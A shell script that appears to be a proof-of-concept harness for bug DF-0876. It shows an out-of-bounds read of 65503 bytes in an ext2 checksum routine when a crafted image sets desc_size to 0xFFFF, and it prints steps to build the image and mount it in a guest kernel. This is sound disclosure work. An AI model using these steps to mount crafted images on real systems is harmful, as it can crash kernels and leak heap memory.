DF-0876 / run.sh
#!/bin/sh # DF-0876 — run the deterministic C harness. # # Demonstrates ext2_csum.c:684-686 reads 65503 bytes past the 64-byte # struct ext2_gd when e3fs_desc_size=0xFFFF, faulting at the predicted # page boundary (mirroring what the kernel page-fault would do on # heap-layout-dependent unmapped memory). # # Usage: ./run.sh set -e cd "$(dirname "$0")" ./harness echo "HARNESS_RC=$?" echo "" echo "=== To reproduce the in-kernel manifestation (root required): ===" echo " 1. python3 craft_img.py ext2_bad.img 4096 # host: mke2fs + patch s_desc_size=0xFFFF" echo " 2. scp ext2_bad.img dfbsd:/root/" echo " 3. on guest (as root):" echo " kldload ext2fs" echo " vnconfig -c vn0 /root/ext2_bad.img" echo " mkdir -p /mnt/t1" echo " mount_ext2fs /dev/vn0 /mnt/t1" echo " expected: 'Input/output error' + dmesg line:" echo " WARNING: mount of vn0 denied due bad gd=0 csum=0x????, expected=0x???? - run fsck" echo " (the 'expected' value varies across mounts because it incorporates" echo " leaked adjacent heap bytes -- the OOB read side-channel.)" |